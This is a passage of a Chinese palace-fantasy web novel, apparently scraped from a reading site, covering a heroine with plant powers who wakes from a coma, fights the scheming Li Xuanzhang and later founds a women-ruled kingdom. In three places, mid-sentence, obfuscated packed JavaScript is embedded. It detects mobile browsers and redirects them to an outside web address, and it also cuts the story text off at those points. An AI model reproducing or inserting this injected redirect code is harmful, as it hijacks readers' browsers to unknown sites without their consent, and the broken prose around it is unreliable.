“你爹对那棵小芽宝贝得不得了,一天要看上七八遍,生怕它死了。 “碎叶城那地方,缺水啊,要吃水,得走上二三十里地,打一次水,来回得走上一天,我们自己都舍不得喝水,他却每天雷打不动地给那棵小芽浇水…… “好在那棵小芽活下来了,大半年过去,也长到人膝盖高了,你爹怕小孩子把它给祸祸了,还特意砌了堵墙把它围了起来。 “哦对了,城里有个年轻人,叫林鹤,长得俊,身手也好得很,多亏了他,我跟你爹才能在那里立下脚。 “那边白天热得人淌汗,一到晚上却又冷得出奇,寒气直往骨头缝里钻。 “刚到那里的时候,我跟你爹两个流放的犯人,也不敢露财,生怕被人抢了,本来打算找个地方窝一阵子,等熟悉了些再找人换东西,哪知道晚上竟然那么冷,我俩差点就冻死了。 “是林鹤把我跟你爹带回了家,租了间屋子给我们住,给我们生火烤饼吃……要不是他,我跟你爹早就没了,也等不到平冤昭雪的这一天了。 “唉,如今晟儿当了皇帝,咱们姜家门前,又热闹起来了,你爹之所以非要回碎叶城,估计也是怕再卷入京中的是是非非里……” “姐姐,我着人将冷宫修缮了一番,建起了一座小楼,前院种花,后院种菜,沿着围墙还种了一圈果树,桃李杏梨、柿子枇杷……保证一年四季都能吃到鲜果。 “从前你在屋角种下的一丛月季,被烧毁后又重新生根发芽了,如今长得十分茂盛,爬满了一整面墙,看着分外美丽,姐姐若是见了,定然也会喜欢。 “如今我已将姐姐移到了这栋小楼里,这样姐姐每天都能置身于鸟语花香中了,身体也能好得更快吧? “我剪了一束月季花插在瓶子里,就搁在床头的矮柜上,姐姐可有嗅到花香?” 姜念虞此时恰好醒着,闻言下意识嗅了嗅,鼻子翕动了两下。 李玄璋注意到了,心头一振,“姐姐,你醒了?” 姜念虞:早就醒了,可惜睁不开眼。 等了半晌,没见她再有别的反应,李玄璋不由失望地坐了回去。 73. 第73章 中午吃饭时,李玄璋嗅到饭菜的香味,心里一动。 既然姐姐能对花香有反应,那么食物香味呢? 她之前可是最喜美食的。 李玄璋果断将饭菜拿到姜念虞房里,在她的床头吃了起来。 吃之前还给她介绍了一遍菜色:“姐姐,今日中午我吃的是坛子肉、辣子鸡丁、清炒河虾、凉拌茄子,还有一道冬瓜肉圆汤。 “这道坛子肉当真美味,酥烂入味,腴润不腻,可惜姐姐吃不到,我夹给你闻一闻吧。” 姜念虞感觉他当真夹了一块肉送到她鼻子前,她忍不住嗅了嗅,好香!好想吃! 原本她想醒过来的心情并不是那么迫切,但是现在—— 破身体,快给我醒过来啊! 我要吃肉! 李玄璋见她鼻子不停翕动,甚至手指都激动得抖动了起来,便知道这一招奏效了。 吃播搞得愈发起劲了。 吃一口就要给她分享一下感受。 “姐姐,坛子肉好吃,但我更喜欢里头的豆腐,吸饱了肉汁,当真比肉还好吃。” “这道辣子鸡丁颇为下饭,辣椒正是用我从蜀州带回来的种子种出来的,比之京城的辣椒更辣更香,虽辣的人口舌酥麻,却也令人欲罢不能。” 姜念虞听得口水都要流下来了。 李玄璋一定是故意的! 可恶,他明知道她吃不到,还要在这里诱-惑她! 等她醒了,也要把他绑起来饿个七八顿,还要在他面前搞吃播! 如果说李玄璋是用食物香味搞得姜念虞受不了的话,那小红就是用它的臭屁熏得她受不了。 之前她还能追着它打,现在她躺在床上一动不能动,可把这臭鸟给得意坏了。 每天清晨对着她“噗”一下,熏得她灵魂都要出窍了。 臭鸟,你给老娘等着! 等我醒了就把你毛拔光放进锅里煮了! * “姨母,晚上我和姑姑烤肉吃,这是我们给你烤的肉,可香了,晟儿放在这里了。” 李晟将一盘子刚烤好的还在滋滋冒油的烤肉放在矮桌上,警告了房梁上的小红一声:“小红,你不许偷吃哦。” 小红傲娇地扬起了脑袋,不屑一顾。 然而等晟儿一出门,它立马就飞了下来,脖子一伸,朝着盘中的烤肉叼去。 结果肉还没到嘴里,伸长的脖子就被一只突如其来的手给掐住了。 它眼珠子一转,就对上了姜念虞带着杀气的笑容,“嘎?!” 姜念虞在它脑袋上敲了一记,“对着我放屁?偷吃我的肉?姜小红,你很能啊。” 小红拼命挣开她的手,倒腾着两条毛腿跑了出去,吓得连飞都忘记了。 姜念虞扑哧一笑,也没追上去,端起盘子吃了起来。 唔,好吃!她总算是吃上肉了。 按理说她躺了这么久,肠胃功能该退化了才是,刚醒过来没法大鱼大肉,但实际上呢? 她恢复意识后每天都引导异能在体内运转,滋养五脏六腑,所以身体的各方面机能非但没有退化,反而加强了。 她的肠胃好得不能再好。 可惜偏偏醒不过来,没法吃东西,时常饿得抓心挠肝。 李玄璋还老是在她床边搞吃播,闻得到吃不到,对她来说无异于酷刑。 现在她终于醒了,可不得报复性地吃回来? 姜念虞三两下就将盘子里的肉吞进了肚子里,而后走了出去。 院子里,小红盘旋在李玄璋和晟儿上空,叽叽嘎嘎叫唤着,一张毛绒绒的鸟脸透着震惊、害怕、心虚等种种复杂的情绪。 看见姜念虞走出来,吓得立马飞走了。 晟儿仰着脑袋,奇怪道:“小红怎么飞走了?” “因为它怕我找它算账啊。”姜念虞走过来。 “姨母!你醒了!”晟儿满脸惊喜,像个小炮弹一样跑过去,死死抱住她。 正在给烤肉翻面的李玄璋蓦地转头,手中的铁钳掉了犹不自知,怔怔盯着她。 姜念虞惊讶地看着抱着自己的小外甥:“晟儿,你怎么一下子长这么高了?” 从前只能抱住她大腿的小孩,现在都能抱住她的腰了。 “姨母,晟儿现在都七岁啦,当然长高了很多。” 姜念虞:“我昏迷了这么久吗?” 昏迷前晟儿才六岁,现在都长了一岁了,那她岂不是昏迷了一年? 李玄璋适时出声:“姐姐,你已经昏迷了八个月零七天。” 从去岁寒冬到今年秋天。 姜念虞牵着晟儿坐到烧烤架前,“难怪我这么饿。” 拿起一根黄瓜就啃了起来。 晟儿贴心道:“姨母你坐一会儿,晟儿这就烤肉给你吃。” 李玄璋捡起掉落的铁钳,将烤肉翻了面,又刷了一遍酱料。 将肉烤好后,放在了姜念虞面前的盘子里。 姜念虞用鲜嫩的生菜叶子将肉裹起来,一整个送进嘴里。 这样吃的时候就不用担心被刚烤好的肉烫到了。 而且烤肉配着生菜叶子吃,多了一股清甜的滋味,口感更丰富。 晟儿脸颊鼓了鼓,因为落后于李玄璋而有些着急,灵机一动,选择烤片得更薄的五花肉,这样就能熟得更快了。 接下来,李玄璋和李晟仿佛比赛似的,自己都顾不上吃,只一个劲地给姜念虞烤肉。 姜念虞来者不拒,胃像是一个无底洞,吃个不停。 最后晟儿都烤累了,她还没吃够。 李玄璋唤人另外送了晚膳过来,三人坐在亭子里,又吃了一顿。 吃完饭,天早已黑了,漆黑的天幕上布满了璀璨的星星。 院子里来了不少萤火虫,在花丛间飞舞,屁股上的莹光一闪一闪。 晟儿靠在姨母身上,叽叽喳喳地跟她说着话,神态活泼。 当了大半年皇帝,他其实已经成长了很多,在外人面前颇能绷得住,但是一到姨母面前,他就又变回之前那个幼稚的小孩了,忍不住撒娇卖萌。 玄猫也在姜念虞身边趴下了。 原本飞走的小红暗戳戳飞了回来,落在树上,时不时瞥姜念虞一眼,想过来又不敢的样子。 晟儿不知不觉睡了过去,姜念虞将他抱进了小楼,放在了床上。 出来后,朝着先前烤肉的火堆走去。 烧烤架子已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729201|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撤了,李玄璋往火堆里添了几根柴禾,将火拨得旺了些,听到姜念虞的脚步声,并未回头。 而是拎起茶壶,给她倒了杯热腾腾的茶,“这是我自己晒制的陈皮酸枣茶,可消食解腻,饭后喝再好不过,姐姐尝一尝。” 姜念虞坐下来,端起茶杯喝了一口,茶水微酸,却有回甘,喝着很清爽,“你没什么想对我说的吗?” 李玄璋顿了顿,“姐姐能醒过来,我很高兴。” 姜念虞:“就这?没别的了吗?” 李玄璋:“姜相的罪名已被洗脱,姜夫人如今已经回到了京城,姐姐若是想见她的话,我现在就可以将人召进宫。” 姜念虞:“看来你是不打算向我坦白了,那我们没什么好说的了。” 放下茶杯,抬手间催生出数根拇指粗的藤蔓,如灵蛇般朝李玄璋疾射而去,将他死死缠住,让他动弹不得。 李玄璋面上并无惊讶,仿佛对她能够操控植物这一点早已知悉。 姜念虞:“你早就知道了?” 李玄璋:“也不是很早,姐姐在揽月楼凭空变出一朵芍药花送给阿幻时我就有所怀疑了,所以后面故意表现得生气,引姐姐来哄我,姐姐又催生出了一束月季花,我才真正确认姐姐并非常人。” 姜念虞倒吸了口冷气,原来那个时候他就看穿她了。 但他在她面前什么都没表现出来,当真是藏得深。 以他的行事作风,他会什么准备都不做吗? “你对我做了什么?” 李玄璋:“我给姐姐下了同命蛊,我死了,姐姐也活不了。” 姜念虞心头一怒,拳头握紧,缠绕着李玄璋的藤蔓也跟着收紧了,但他像是感受不到疼痛一般,依然面不改色。 “难怪被我制住了你也丝毫不担心,原来你早就对我下了手。” 可恨她完全没有察觉到! 他什么时候给她下的蛊? 还是说,他是在骗她?让她不敢杀他? 姜念虞一狠心,控制一根藤蔓从他腹中穿过,将他整个人吊在了半空中。 哪知下一秒,她的腹部也传来一股剧痛。 上面明明没有伤口,却像是被藤蔓给穿透了。 “同命蛊,好一个同命蛊!” 这个世界的蛊虫,真特么操蛋。 李玄璋没有挣扎,甚至露出了一丝享受般的微笑,那些束缚着他的藤蔓,在他淡然自若的表情下,被衬得像是从他身体里延伸出来的绿色触手,奇丽诡艳。 “姐姐为何要杀我?” 姜念虞:“你还有脸问?你协助李淳陷害我爹通敌卖国,害得我爹娘被流放,吃尽了苦头,难道我不应该为她们报仇?” 李玄璋:“如果我没记错的话,姐姐你根本就不是姜家的女儿吧?真要论起来,我跟姐姐才是相处最久关系最近的人,你为何要为了她们而杀我?” 姜念虞:“……”他连这个都知道? “即便我不是她们的女儿,却也占了她们女儿的身体,不说替德妃尽孝,起码也要让她们性命无忧,你算计她们,就是与我为敌。 “不过,真正让我下定决心要杀你的,并不是这件事,而是你炼制出了僵尸蛊。” 74. 第74章 躺尸期间,姜念虞醒着的时候床边并不是一直都有人,没人跟她说话的时候,她难免会感到无聊。 于是就放出异能,跟周围的植物交流。 植物也有自己的八卦圈子。 仗着人类听不懂它们的语言,植物们八卦起来更加肆无忌惮,什么都说。 那些人类自以为无人知道的秘密,其实早就在植物界传得飞起了。 姜念虞就是从植物那里得知,李淳手里的僵尸蛊,其实是李玄璋暗中送到他手里的。 李淳某一日在藏书阁里发现了一本古书,古书中藏着几张炼蛊的秘方,他自以为是捡漏了,殊不知这本藏了炼蛊秘方的古书,就是李玄璋安排人放在书架上,特意等着他的。 李淳拿到这几张炼蛊秘方后,就开始暗中操作了。 然而他实在没有炼蛊的天分,炼废了许多材料,也没能得到一只僵尸蛊。 还是李玄璋暗中助了他一臂之力。 李淳拿到僵尸蛊后就给手下的玄武军种下了,将他们变成了自己的死士。 而除了僵尸蛊外,蜀州河阴县爆发的瘟疫,其实也是一种蛊毒,李淳命人投放的,为的就是将李玄璋弄死。 为此不惜牺牲一整个县城的百姓。 可他不知道的是,这瘟疫蛊,就是出自李玄璋之手,他就是玩蛊的祖宗,又怎么会被蛊毒感染呢? 从决定炼蛊的那一天起,李淳就落入了李玄璋的圈套。 不过她又比李淳好上多少呢?还不是不知不觉就中了李玄璋的蛊? 姜念虞心下郁愤,伸手隔空朝李玄璋抓了下,缠缚着他的藤蔓就拽着他落到了地上,她照着他那张如花似玉的脸就是一拳。 这一拳下去,李玄璋的脸登时偏了过去,嘴角流出了血。 而她自己的脸,也疼了起来。 她引导异能在体内游走一圈,腹部和脸上的伤,登时就痊愈了,像是从未出现过一样。 而李玄璋身上的伤,还是那么血淋淋的。 她忽然想到,自己作为九阶异能者,即便是心脏被捅穿,也不会立刻死去,而李玄璋就不一样了,心脏被捅了,铁定就没命了。 所以,他给她种下的同命蛊并非无解! 这么一想,她心情就好了许多。 李玄璋吐出一口血沫,“为何……我炼制出了僵尸蛊,姐姐就要杀我?” 姜念虞看在他快要死的份上,不介意让他走得明白点。 “既然你知道我不是德妃,那你可知我是从何而来?又是如何变成德妃的?” 姜念虞也不是要他回答,自顾自道:“我也叫姜念虞,来自另一个世界,死后魂魄附身在了德妃身上,自此成了她。 “我所在的那个世界比这里要繁华富庶多了,女子也可以上学经商从政……但是有一天,一切都变了。 “我还记得那时我在上晚自习,外面忽然下起了流星雨,我跟同学都挤到窗户边去看,这场流星雨持续了好几分钟,看完后我们都还意犹未尽。 “却不知,流星雨降临的那一刻,灾难也随之降临了。那些降落下来的陨石,携带着一种外星病毒,后来我们称之为丧尸病毒。 “丧尸病毒在很短的时间内就感染了大批动植物,被感染的生物,又通过撕咬,将病毒传播开去……短短几天,我所在的那座城市就覆灭了。 “不知道是幸运还是不幸,我们学校被一只变异章鱼给霸占了,它将学校里的人圈养起来当储备粮,一天吃上几个。 “快要轮到我时,我偶然捡到了一颗陨石碎片,被病毒感染了,但是我没有变成丧尸,而是觉醒了异能,就是你所知的控制植物的能力。 “我和另外几个觉醒了异能的同学联手将变异章鱼给杀死了,之后我们组成了一个小队,在末世里艰难求生……” 李玄璋静静听着她的讲述。 尽管有些词听不懂,但并不妨碍他理解她的话。 她口中的丧尸病毒,似乎与僵尸蛊有些类似。 她是担心僵尸蛊也像她那个世界的病毒一样传播开来,毁了这个世界,所以才要杀了他? 等她说完了,他解释道:“僵尸蛊见不得光,中了蛊的人一旦走到日光下,就会被阳光灼烧得灰飞烟灭,并不会大肆传播开来。” 姜念虞冷笑一声:“丧尸也怕光,但是你知道吗?它们很聪明,白天躲在阴暗的地方,等到晚上才出来,到处猎杀人类。” 李玄璋默了默:“那天我命人将文德殿的门窗都封锁了,外面则有弓箭手待命,随时会放出火箭,确保不会有一个中了僵尸蛊的人跑出来。” 姜念虞:“这世上没有什么事能确保万无一失,况且,你能炼出僵尸蛊一次,难保不会炼出第二次,只要你活着,僵尸蛊这种危险的东西就有可能再次出现。” 李玄璋:“所以姐姐是非杀我不可了?” 姜念虞没再跟他废话,直接动手,催生出数根铁蒺藜朝他激射而去。 若是这一下射中了,李玄璋当场就会被刺成筛子。 然而下一秒,他骤然发力,原本缠绕着他的那些藤蔓被他瞬间崩断,他闪身避开攻击而来的铁蒺藜,消失在了姜念虞眼前。 姜念虞一惊,脚步往前一踏,一根粗壮的树根破土而出,顶着她将她送到了半空中。 视线一扫,捕捉到了李玄璋的身影——他正从身后朝她袭来。 可惜她已经不在原地了。 李玄璋往下拍了一掌,在反作用的推送下,升高了一大截,也落在了树根上,与她相对而立。 “姐姐,这还是我们第一次大打出手。” 姜念虞:“打就打,废话那么多干什么?” 脚下一跺,树根生出了无数根系,如触手般交织缠绕,眨眼间就集结成了一个囚笼,将李玄璋困在了里面。 可惜没等她高兴,李玄璋手持利剑,唰一下就斩断了树根囚牢,闪身而出,朝她刺来。 璀璨的星空下,两人你来我往,招招致命。 一个身怀异能,手段奇诡,在她的操控下这一方天地变成了处处杀招的险地,即便是最不起眼的一棵小草,都有可能取人性命。 一个武功高强,剑术超群,一剑挥出,剑气纵横,无往不利。 姜念虞一时竟奈何不了李玄璋。 李玄璋也近不得她的身,对她造成伤害。 木系异能者,在植物密布的山林中才能发挥出最大的实力。 姜念虞打算将李玄璋引入皇宫背靠着的龙首山中,一旦进了山,她消耗的异能可以得到快速补充,能利用的植物也更多,打起来会更顺畅。 而李玄璋呢,他的内力可是用一点少一点,等到他的内力消耗一空时,就是他束手待擒之时。 她的如意算盘打得很好,可惜没等她行动,李玄璋竟然给了他自己一剑,还在腹部搅了搅。 在同命蛊的作用下,她也跟着感觉腹部剧痛,肠子似乎都要被绞断了。 异能的施展被迫停止。 李玄璋又猛地抽出了剑。 姜念虞疼得跪倒在地。 心里狠狠咒骂:变态!对自己都能下这么狠的手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733194|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趁着她丧失攻击力的这短短几息,李玄璋深深看了她一眼,转身没入了浓浓的夜色中,眨眼就消失在了她眼前。 居然被他给跑了! 李玄璋这一跑,就再也没有露过面。 姜念虞养好伤后找遍了整个京城,都没找到他。 看来他已经不在京城了。 没了李玄璋这个摄政“公主”压着,顺王一党又搞起了小动作。 在外人看来,姜念虞这个德太妃,只是小皇帝的姨母,一介女流之辈,没什么可忌惮的。 晟儿这个被李玄璋一手推上皇位的小皇帝年纪太小,在朝堂上只是一个吉祥物,根本没有什么实质性的权力。 李玄璋一消失,两人就成了无人庇护的“孤儿寡母”,不少大臣都上书请李晟退位,传位于顺王。 姜念虞一开始很生气,这个顺王,当初他的腿还是她治好的呢,现在他居然来跟晟儿抢皇位,信不信她把他的腿给重新打残了? 晟儿却很开心:“姨母,其实我一点也不想当皇帝,既然顺王叔想当,那我就把皇位让给他好了,我们到宫外找外祖母好不好?” 姜念虞蹲下来,握着他的肩膀认真地问他:“晟儿,你真的不想当皇帝吗?当皇帝可是有很多好处的哦,可以享受至高无上的权力,可以想做什么就做什么,可以……” 晟儿摇了摇头:“姨母,才不是这样的呢,皇帝也有很多不得不做的事,想睡个懒觉都不行,还得时刻受大臣们监督,一旦有哪里做得不好了,就会被百姓唾骂,我不想被人骂……” 姜念虞:“好,既然你不想当这个皇帝了,那咱们就不当。” 翌日恰好是大朝会。 顺王和他的党羽准备在朝会上上书,恭请小皇帝退位让贤。 结果没等他们发力,小皇帝自己就下旨退位,让位于顺王了。 顺王:“……” 顺王党羽:“……” 小皇帝不会是在使诈吧? 事实证明,小皇帝是真心退位的。 下朝后晟儿就开开心心地去找姨母了。 姜念虞已经将行礼收拾好了。 其实也没啥好收拾的,她已经开辟出了木系空间,空间十分广阔,直接将东西往里面一收就行了。 昨晚上她趁夜去皇宫内库走了一趟,将自己先前发下的宏愿实现了——等有了空间,就把内库里的东西都收走。 这会儿,内库里无数的奇珍异宝就躺在她的空间里呢。 都已经将皇位让给顺王了,拿点东西不过分吧? 除了内库,她自己库房里的东西自然也不会放过,连一块布片都没留下,库房里干净得仿佛蝗虫过境。 宫里种的蔬菜瓜果啥的也一棵不留。 最后,她还去御膳房走了一遭,把库房里的粮食肉类蔬菜等等全都收走了。 离开皇宫时,姜念虞只带了一口箱子装装样子。 除了晟儿,她还带上了春樱、夏桃以及林袅(丽嫔)。 林袅充当车夫,姜念虞几人坐在宽敞的马车里,离开了皇宫。 “去姜府。”姜念虞这话不是对林袅说的,而是对马儿说的。 马儿轻快地跑动起来,拉着马车朝姜府而去。 拉车的马儿被她用异能改造过,瞧着就比寻常的马儿要高大矫健,跑起来又快又稳,还十分通人性,自己就认路,也不需要怎么赶。 不多时,马车就来到了姜府门前,姜念虞接上了虞婉儿。 五个女人加一个小孩,坐着马车离开了京城,往肃州碎叶城而去。 75. 第75章 三年后。 大齐,皇宫。 一名内侍走进御书房,禀报道:“皇上,姜国使者到了。” 坐在御案后的皇帝抬起了头,赫然是曾经的顺王,李泓。 小皇帝李晟退位后,他在大臣们三番四次的奏请下登基了,如今已当了三年皇帝。 这三年,他虽然没有做出什么突出的功绩,但却是百姓眼中的好皇帝。 因为起码他没有乱搞,还减了赋税,和三年前相比,百姓们的日子要好过多了。 李泓搁下笔,“宣。” “宣姜国使者觐见。” 一名身着胡服的女子自信昂然,大大方方地走了进来,赫然是曾经跟随在姜念虞身边的大宫女夏桃。 如今,她已是姜国的礼部侍郎,这一次被派来出使各国。 “姜国使者夏桃,见过大齐皇帝。” 李泓面露讶色:“不想姜国的使者竟是一名女子。” 夏桃:“我姜国何止使者是女子,上至女王,中至百官,下至一家之主,都是女子。” 李泓:“传言说姜国乃是女儿国,看来这话果真不假。” 双方寒暄了一番后,李泓问:“不知姜国女王派遣夏大人出使我大齐,所为何事?” 夏桃递上一个精致的锦盒,锦盒里是一封红底烫金请柬,“我姜国女王打算在八月初十正式登基称帝,下官尊奉我王之命,特来给您送上请帖。” 当今天下三分,大齐、大周(北周)、以及大楚(南楚),唯有这三个大国的君王才可称帝。 其余那些小国家的统治者,顶多称“王”。 这姜国女王好大的野心,竟敢称帝,想与齐、周、楚三国的皇帝并列。 李泓捏着请帖看了看,“回去告诉你们王上,朕会亲自前去参加她的登基大典。” 当然,参加登基大典是其次,他真正的目的,是灭了姜国,弘扬大齐国威。 姜国使者离开后,李泓来到了那幅占据了一整面墙的大齐舆图前。 大齐在正中间的位置,东边是海域,南边是楚国,北边是周国,西边是沙漠。 沙漠中有着不少国家,但规模普遍都比较小,有的可能经历一场大的风暴就没了。 所以他向来没把西域沙海中的那些小国放在眼中。 但是这个三年前突然冒出来的姜国不一样。 姜国霸占了他大齐西境的碎叶城,将其当做后花园,想来就来,想走就走,他派兵前去,想灭了这个胆敢挑衅大齐国威的小小姜国。 岂料他派去的军队全军覆没了。 之后他做足准备,又派了一支军队前去,结果还是败了,无一人生还! 这个姜国实在是有些邪门。 未免劳民伤财,他没再派遣军队去攻打姜国,但灭掉姜国的心始终没有熄灭。 如今三年过去,大齐已被他治理得物阜民丰,国库充盈,是时候再次向姜国亮刀了。 据说姜国坐拥金山银矿,富得流油,等打下了姜国,大齐的财力将更上一层楼,到时候他就更有把握打下南楚和北周了。 李氏皇族一统天下的夙愿,将由他来实现! 出宫回到驿馆,夏桃率领下属骑马离开,继续前往下一个国家。 她和下属所骑的马,皆非寻常的马,而是女王陛下亲手培育出来的姜国宝马,异常的高大健壮,奔跑速度极快,是真正的千里马。 即便是最优异的北周骏马来了,也要称弟弟。 在外面,一匹姜国宝马能卖到千两黄金,还有价无市。 然而在姜国,三品以上的文官,以及军中的将士几乎人手一匹。 夏桃一行骑着姜国宝马,不过大半日功夫,就从大齐京城,跑到了楚国的国都。 当见到楚国皇帝时,夏桃吃了一惊。 这不是蓁蓁公主吗? 不对,蓁蓁公主是女子,眼前这位大楚皇帝,却是切切实实的男子。 而且两人的气质截然不同,蓁蓁公主天真烂漫,如同降落凡尘的小仙女,而眼前的楚皇—— 他身着玄色龙袍,龙袍上的金线在光照下迤逦生辉,蔓延成五爪金龙的形状,令人望而生畏。 五色冕旒冠下,那张俊美如妖的脸似千年寒冰一般,看上一眼就能冻伤人的眼睛。 夏桃只瞧了一眼就赶紧低下了头去。 “下官拜见楚皇。” 一样的流程走完后,夏桃迫不及待告辞离开。 楚皇却叫住了她:“等等,帮我把这个带给你们王上,告诉她,届时我一定亲自到场,恭贺她登基称帝。” 夏桃诧异,伸手将他递过来的一只精致木盒接过来,“是,下官一定将您的话带到。” 接着,夏桃带人去了北周,给北周皇帝送上了请帖。 北周皇帝正是拓跋烈。 三年前,李泓登上皇位后,将拓跋烈给放了,不仅如此,他还给了拓跋烈不少人马,助他回国争夺王位。 当然,李泓给出的这些东西都不是白给的,而是有条件的——拓跋烈若能夺得王位,便得以北周皇帝之名,与大齐签订和平友好盟约,不许再劫掠大齐边境。 拓跋烈自是答应了,毕竟他没有任何损失。 收下请帖后,拓跋烈道:“听说姜国宝马堪称神马,价值千金,我早就心向往之,想亲眼见识一下,不知夏大人可能满足我这个心愿?” 夏桃:“还请周皇见谅,我等还要赶回姜国复命,恐怕没有时间在此耽搁,正好我王给您下了请帖,您不妨亲自去一趟姜国,到时就能见到我姜国宝马了。” 拓跋烈:“若我偏偏要在今天见识一下呢?” 语气已是带上了威胁之意。 夏桃却没有丝毫惧色:“那我只能叫您失望了。” 说罢,转身就走,也不管身后的周皇是怎么个反应。 拓跋烈一拍桌案:“来人!给我把她留下!” 一群侍卫团团围过来,显然是打算对夏桃使用武力了。 夏桃挑了下眉。 她敢出使各国,且孤身一人进入皇宫,自然是有所倚仗的—— 出发时,王上还派了一队空军随行保护她。 夏桃掏出脖子上戴的竹哨,猛地一吹,清澈响亮的哨声响起,传得很远。 下一秒,一声尖锐嘹亮的鸟鸣传来,像是在应和哨声。 拓跋烈和一群侍卫不由得仰头,朝鸟鸣声传来的方向望去。 天空上出现了一个黑点,眨眼间,那个黑点就变大了,那是一只巨大的雪雕。 双翼展开足有二十几米长,从上空投下了一大片阴影。 盘旋在半空中时,能听到它的翅膀割裂空气的声音。 拓跋烈等人俱都神色一变。 然而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737605|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更令他们震惊的是,那巨大的雪雕背上,还坐着一个人! 一个女子。 赫然是林袅。 如今的姜国空军领队。 这次奉命保护出行的使者团。 继林袅之后,数只载着空骑军的雪雕相继出现,它们在半空中排列成一个箭头形状,箭头朝着拓跋烈所在的这座宫殿,压迫力十足。 雪雕背上的空骑军都是女子,身形苗条纤细的女子,她们身着统一的黑色作战服,作战服贴合着她们的身形,能够最大程度地减小阻力。 她们背上背着箭囊,手中的弓已经张开,搭上了箭矢,只待领队的林袅一声令下,就可以齐齐发射。 林袅做了个手势,下令:“射!” 箭矢咻咻射出。 拓跋烈和一群侍卫纷纷躲避。 夏桃趁机跑了出去,林袅驭使着座下的雪雕飞下去。 夏桃纵身一跃,一把抓住雪雕的一条腿,被带着上了天。 “周皇,后会有期!”林袅留下这么一句,就率领空骑军扬长而去了。 拓跋烈发现自己和侍卫们都没有被射中。 一名侍卫道:“这群姜国娘儿们箭术也太差了,一个人都没射中,还敢出来丢人现眼?不就是仗着有那些大鸟吗,有本事下来和咱们打啊!” 拓跋烈一巴掌扇了过去。 “你懂什么,她们刚才那一箭,目的不在于伤人,而是警告。” 他走出大殿,盯着那些雪雕消失的方向,眼中满是忌惮和渴望。 是他小看姜国了。 原以为不过是西域沙漠里的一个小国,谁想她们竟然拥有一支可以在空中飞的雪雕队伍! 那些雪雕还能载人。 这样一来,姜国的军队岂不是想去哪儿就去哪儿?来无影去无踪? 原本他并不打算去参加一个沙漠小国的女王的登基大典,但现在,他改变主意了。 他得去探一探这姜国的底细。 不然等姜国将来坐大,他们大周可就要受到威胁了。 随着姜国女王登基日期临近,各国使者纷纷到来。 碎叶城是进入姜国的必经之站,想进入姜国的各国使者,都先来到了碎叶城。 “这,这是碎叶城?五年前我来过这里,那时候这里可荒凉得很,放眼望去尽是黄沙戈壁,如今怎么,竟成了一片沙漠绿洲了!” “什么沙漠绿洲,如今这里可没有沙漠了,放眼望去尽是草原山林!” “这官道修得可真平坦啊,马车跑在上面也太稳了,丝毫不颠簸,也不知是用的何种材料,瞧着非沙非石,若是我大齐也能修起这样一条官道就好了。” “你们看官道两旁的树,高大笔直,浓荫蔽日,当真漂亮,我从未在其它地方见过这种树。” “此乃凤枣树,你们瞧,树上还结了枣子呢,我之前尝过,这凤枣吃起来有肉味儿,而且吃一颗就能饱腹一天,很是神奇。” “当真?我摘一些来尝尝。” “可别,那些凤枣可不能随便摘,你们瞧天上飞的那些老鹰,是碎叶城专门养来看护凤枣树的,谁敢摘,那些老鹰就会飞下来攻击人,之前有人不听劝,非要跑去摘凤枣,结果被老鹰抓到天上去了,后来摔断了腿。” “等到了碎叶城,城里随便哪个小摊都能买到凤枣,何必冒着莫大的风险跑去摘呢?” 76. 第76章 等到了碎叶城,众人又是大吃一惊。 这座边境的城市竟然没有城墙! 四面八方都是敞开着的,外来者随便从哪个方向都能进去。 不仅如此,这座城池还大得出奇,长不知多少里,一眼望不到头。 “这碎叶城竟然没有城墙,就不怕敌人打过来吗?” “哈哈,兄台多虑了,我们碎叶城虽然没有城墙,但有银狼卫日夜巡逻,那些银狼可厉害着呢,即便是百八十里外的生人都能闻见,还攻打我们?我们不去攻打别人就不错了。” 说话的显然是一名碎叶城土著,言语间神色颇为自豪。 而就在他说完这话不久,两匹足有人那么高的银色巨狼一前一后走了过来,每匹银狼背上都坐着一名披甲执锐的女兵。 她们身材健硕,英姿飒爽,拿着长枪的手臂肌肉隆起,线条流畅,充满了力量感。 女兵与银狼的组合,压迫感十足。 那些头一次见到的外国使者吓得纷纷后退,不敢靠近。 然而碎叶城本地的百姓却是丝毫不怕,还有小孩子挤上前,抚摸银狼的毛。 而银狼并不反抗,任由小孩子抚摸,冰绿色的眸子充满了灵性的光辉,甚至还透露出了一丝无奈和宠溺的意味。 进城后,各国的使者又迎来了一波冲击。 宽阔干净的街道上人流如织,有金发碧眼的番人,身披白袍的大食人,皮肤黧黑骑着大象的天竺人…… 当然,大齐、大周、大楚的人也不少。 